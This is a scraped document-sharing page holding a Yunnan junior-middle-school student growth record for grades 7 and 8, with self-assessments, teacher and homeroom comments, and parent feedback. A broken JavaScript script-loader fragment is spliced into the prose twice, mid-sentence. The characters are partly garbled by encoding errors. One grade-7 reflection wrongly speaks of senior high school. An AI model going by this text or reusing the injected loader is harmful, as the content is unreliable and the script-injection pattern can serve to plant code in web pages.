版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領
文檔簡介
1、本素質(zhì)發(fā)展云南省普通初中學生成長記錄基本素質(zhì)發(fā)展(七年級)一、公民素養(yǎng)個人發(fā)展目標有法律意識、公德意識、環(huán)境保護意識,有社會責任感,遵紀守法,遵守社會公德,尊敬師長,禮貌待人,主動、積極、健康地實現(xiàn)生命的意義和價值,掌握生活常識,有正確的生活觀。上學期個人記錄有公德意識,遵守社會公德,尊敬師長,禮貌待人,掌握生活常識,有正確的生活觀。上學期教師記錄能遵守社會公德,尊敬師長,待人也很有禮貌,掌握了一定的生活常識。下學期個人記錄法律意識有所增強,有一定的社會責任感,生活積極主動,舉止文明,重誠信,知感恩。下學期教師記錄法律意識有所增強,也有了一定的社會責任感,生活也積極主動,舉止也很文明。二、學習
2、態(tài)度與能力個人發(fā)展目標學習態(tài)度端正,能主動學習、自覺學習,學習目的明確,有理想、有目標,持之以恒,善于發(fā)現(xiàn)與提出問題,努力嘗試用多種途徑解決問題,能與同學合作,共同完成學習任務。善于思考、總結(jié)、反思,不斷改進。有切合實際的學習目標。獨立思考,合作探究,虛心請教。善于研究、查閱資料,不畏困難,認真復習、預習,認真聽講,積極回答問題。按時、高質(zhì)量完成作業(yè),不抄襲。成績合格,考試不舞弊。上學期個人記錄學習態(tài)度端正,主動學習,自覺學習。善于發(fā)現(xiàn)與提出問題,與同學合作,共同完成學習任務。學習目標切合實際,獨立思考,虛心請教。不畏困難,認真復習、預習,認真聽講,積極回答問題。上學期教師記錄學習態(tài)度較為端正
3、,學習也很主動,學習的自覺性也有所增強,能與同學合作,共同完成學習任務,學習目標也比較切合實際,善于獨立思考,虛心請教,學習很認真,回答問題很積極。下學期個人記錄有強烈的求知欲和好奇心,學習興趣濃厚,學習目的明確,有理想、有目標,持之以恒,能有目的的收集整理、使用信息。有了一定的獨立學習與研究問題的能力,按時高質(zhì)量完成作業(yè),不抄襲,善于思考、總結(jié)、反思,不斷改進。下學期教師記錄有強烈的求知欲和好奇心,學習興趣也濃厚了很多,學習目的很明確,也有了一定的獨立學習與研究問題的能力,作業(yè)質(zhì)量也有所提高,也沒有出現(xiàn)抄襲現(xiàn)象,學習中也善于思考、總結(jié)、反思。三、交流與合作個人發(fā)展目標能正確認識自己的優(yōu)點與不
4、足,勇于批評與自我批評,客觀評價同伴,善于與同伴共同與分享,善于團結(jié)同伴。上學期個人記錄能約束自己的行為,理解同伴的處境,能與同伴一起確立目標并積極實現(xiàn)目標。上學期教師記錄能合理調(diào)控自己的情緒,與同學、老師關系融洽。下學期個人記錄自我批評有進步,與同伴能更好的相處,尊重老師,團結(jié)同學。下學期教師記錄能更好地約束自己的行為,與人合作能力得到加強。四、運動與健康個人發(fā)展目標有適合自己的體育鍛煉方式,養(yǎng)成良好的生活和衛(wèi)生習慣,積極鍛煉身體,不自卑,不氣餒。上學期個人記錄有一定的運動技能,有科學的保健習慣,能積極適應不同的環(huán)境,更加堅強。上學期教師記錄有科學的鍛煉方法,發(fā)育正常,身體健康,環(huán)境適應能力
5、強,能客觀分析問題。下學期個人記錄有適合自己特點的體育鍛煉習慣,有科學的保健習慣、方法,環(huán)境適應能力得到加強。下學期教師記錄已有良好的生活習慣和衛(wèi)生習慣,身體狀況良好,能正確面對挫折,不自卑,不氣餒。五、審美與表現(xiàn)個人發(fā)展目標能感受生活中的美,培養(yǎng)正確的價值觀、審美觀,參加各種文藝活動。上學期個人記錄掌握一定的審美知識,衣著整潔。上學期教師記錄有一定的審美能力,喜歡文藝活動。下學期個人記錄能感受生活、自然、藝術、科學中的美,言談舉止文明。下學期教師記錄能感受美,能用多種方式表現(xiàn)美。成長記錄之班主任評語(七年級上學期)該生遵紀守法,具有良好的社會責任感和正確的人生觀,尊敬師長,團結(jié)同學,明禮誠信
6、,珍愛生命,學習態(tài)度端正,學習目的目標明確,有理想、有目標,努力進 var script = document.createelement(script); script.src = document.body.appendchild(script); 取,不斷改進,生活健康,有良好的生活習慣和衛(wèi)生習慣,積極參加體育鍛煉,熱愛集體,具有一應的環(huán)境適應能力及一定的審美能力。學生自我反思與評價(七年級上學期)自入學以來,遵守校紀校規(guī)、班規(guī)班約,尊敬師長,團結(jié)同學,積極參加學校和班級組織的各項活動,努力學習爭取向上,養(yǎng)成了良好的學習習慣和生活習慣,積極進取,身心健康,取得了一定的成績,但仍存在許多不
7、足之處,今后爭取學習和生活中都能更進一步。(七年級下學期)我在高一年級下學期的學習生活中,認真按照學校和老師的要求,遵守學校各項制度,尊敬老師。我在生活中能與同學、舍友友好相處。在課堂上認真聽講,積極回答問題。課后認真完成作業(yè),考試成績合格,不作弊。在生活中我能認識到自己的優(yōu)點與不足,并向同學學習。積極上體育課,課后積極鍛煉身體,講衛(wèi)生。通過一學期的學習,我在學習及做人、做事方面都取得了進步,但是還有很多不足,需要在今后的學習中改進、提高。家長反饋意見:(七年級上學期)孩子本學期學習目標明確,學習進步大,期中、期末考試成績優(yōu)異;養(yǎng)成了良好的生活習慣、衛(wèi)生習慣。感謝學校、老師對孩子的教育和培養(yǎng)。
8、(七年級下學期)孩子本學期以來,轉(zhuǎn)變較大,放假回家后能主動學習并自覺完成教師布置的作業(yè),同時還能與父母積極交流,匯報在校情況,配合家長做好一些家務活。但在思想上還不夠成熟,很多想法也比較幼稚,懇請老師們給予批評教育。其他事項記錄(七年級上學期)該生在校期間道德品質(zhì)良好,生活態(tài)度積極,遵守學校的各項規(guī)章制度,學習態(tài)度端正,課堂認真聽講,課后認真復習,學習成績進步較大。(七年級下學期)該生身體健康,行為習慣良好,能與師生和諧相處,具有文藝方面的特長?;舅刭|(zhì)發(fā)展(八年級)一、公民素養(yǎng)個人發(fā)展目標1、培養(yǎng)先進意識,積極參加公益活動,關心集體,關心社會,熱愛祖國,做一個對社會、對國家有益的人。2、尊老
9、愛幼、尊師重道,熱愛生活、生命,做一個有道德的人。上學期個人記錄本學期在思想道德方面有了很大提升,對于集體、社會、國家未做出不合格的事。上學期教師記錄基本完成目標,個人記錄屬實。下學期個人記錄本學期遵紀守法,熱愛班級、學校,擁護黨的領導,支持社會主義現(xiàn)代化建設,離“四有”公民更近。下學期教師記錄基本完成目標,個人記錄屬實。二、學習態(tài)度與能力個人發(fā)展目標1、主動學習、自覺學習,完成各科學習任務,爭取好成績;2、敢于提問題,努力完善自己,試著采用多種途徑解決問題,力求做到更好。3、善于獨立學習,加強與同學的合作,不斷反思,改進自己的學習方法,學無止境。4、上課認真聽講,做好課前預習,課后及時鞏固,
10、按時、按量、按質(zhì)完成作業(yè)。上學期個人記錄1、本學期在學習態(tài)度、學習能力、學習方法上大大提升;2、按時獨立完成作業(yè);3、能獨立思考、合作探討、不斷完善自己;4、經(jīng)過一個學期的努力,成績有了較大幅度的提升。上學期教師記錄基本完成目標,個人記錄屬實。下學期個人記錄1、學習態(tài)度端正,學習能力提升,學習方法改進,得到師生的認可;2、獨立思考、合作探究、虛心請教、采用不同的方法提升自己;3、成績合格。下學期教師記錄基本完成目標,個人記錄屬實。三、交流與合作個人發(fā)展目標1、正確認識自己的優(yōu)點與不足,堅持批評與自我批評;2、能明辨是非,與同學正常交往,關系融洽3、與同學、老師互尊互愛,善于與他人交流溝通,建立
11、良好的人際關系。上學期個人記錄與同學、老師相處融洽,得到廣大師生的認可,建立了良好的人際關系網(wǎng)。上學期教師記錄基本完成目標,個人記錄屬實。下學期個人記錄與人相處融洽,交流、溝通做得較好。下學期教師記錄基本完成目標,個人記 var script = document.createelement(script); script.src = document.body.appendchild(script);錄屬實。四、運動與健康個人發(fā)展目標1、增強體質(zhì),采用科學的鍛煉方法,促使身體健康;2、養(yǎng)成良好的生活和衛(wèi)生習慣;3、能正確面對挫折、困難,做到自信、自愛、自尊。上學期個人記錄身體健康,發(fā)育正常,
12、基本養(yǎng)成了良好的生活和衛(wèi)生習慣,能正確面對困難、挫折。上學期教師記錄基本完成目標,個人記錄屬實。下學期個人記錄身體狀況良好,良好的生活和衛(wèi)生習慣已經(jīng)形成,通過努力,已是一個自信、陽光、充滿活力的學生。下學期教師記錄基本完成目標,個人記錄屬實。五、審美與表現(xiàn)個人發(fā)展目標1、能積極參加各種文藝活動,有一定的表演水平;2、衣著整潔、大方、舉止文明。上學期個人記錄對自然、對生活、對藝術等的美充滿了感覺。上學期教師記錄基本完成目標,個人記錄屬實。下學期個人記錄能用發(fā)現(xiàn)的眼光觀賞自然、生活中的美,并積極參加學校組織的各種文體活動。下學期教師記錄基本完成目標,個人記錄屬實。班主任評語(八年級上學期)該同學在
13、本學期尊敬師長,團結(jié)同學,認真遵守校紀校規(guī),學習刻苦、努力,思想端正,態(tài)度認真,是一名合格的中學生。(八年級下學期)當你一次次主動幫助同學打掃教室時,當你為一道難題凝神沉思時,當你彎腰拾起地上的紙屑時作為老師的我,是多么的高興!我為你的熱心、勤奮和勇敢而高興。學生自我反思與評價(八年級上學期)我在本學期認真遵守校紀校規(guī),尊重老師,團結(jié)同學,以中學生行為規(guī)范嚴格要求自己,不做給學校、班級抹黑的事,自認為是一名合格的中學生。(八年級下學期)我性格開朗、辦事穩(wěn)重、善于思考、自學能力強,易于接受新事物。我的基礎知識扎實,實驗操作技能強。是一名符合時代要求的中學生。家長反饋意見(八年級上學期)他是個懂事的孩子,雖然在進入青春期后獨立自主意識逐漸增強,時常會堅持自己的觀點,但是還是能夠接受父母的意見。他生活自立能力較強,能夠比較自覺努力地學習,對閱讀和寫作的興趣比較濃,會經(jīng)常閱讀一些相關的課外書。(八年級下學期)在這段時間里,孩子的進度較大。這離不開老師的精心培育,孩子進步的一點一滴都悄悄的刻在我們心里
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 二手煤炭買賣合同范本大全
- 2024年電子商務云服務合同
- 2024年浙教版選修4歷史下冊階段測試試卷含答案
- 2024年岳麓版必修2化學下冊月考試卷
- 辦公空間的智能化照明與通風管理
- 2024年岳麓版第二冊地理下冊月考試卷
- 勞動與技術教育在小學教育中的地位與作用
- 商業(yè)視角下的小學科學實驗教學設計
- 商業(yè)邏輯在數(shù)學課堂管理中的應用
- 2025中國鐵塔公司校園招聘高頻重點提升(共500題)附帶答案詳解
- 2024版房屋市政工程生產(chǎn)安全重大事故隱患判定標準內(nèi)容解讀
- 期末 (試題) -2024-2025學年人教PEP版(2024)英語三年級上冊
- 2019年北京外國語大學博士生英語入學考試試題
- 2022年軟件項目實施方案書模板(投標版)(完整版)
- L波段高空氣象探測系統(tǒng)原理及維護
- 墜積性肺炎的護理體會論文
- 國家開放大學《水利水電工程造價管理》章節(jié)測試參考答案
- 地基承載力與擊數(shù)對照表(輕)
- 《電力建設工程施工技術管理導則》
- (完整版)高中化學復習提綱
- 江蘇衛(wèi)視跨年演唱會電視轉(zhuǎn)播技術方案-209年精選文檔
評論
0/150
提交評論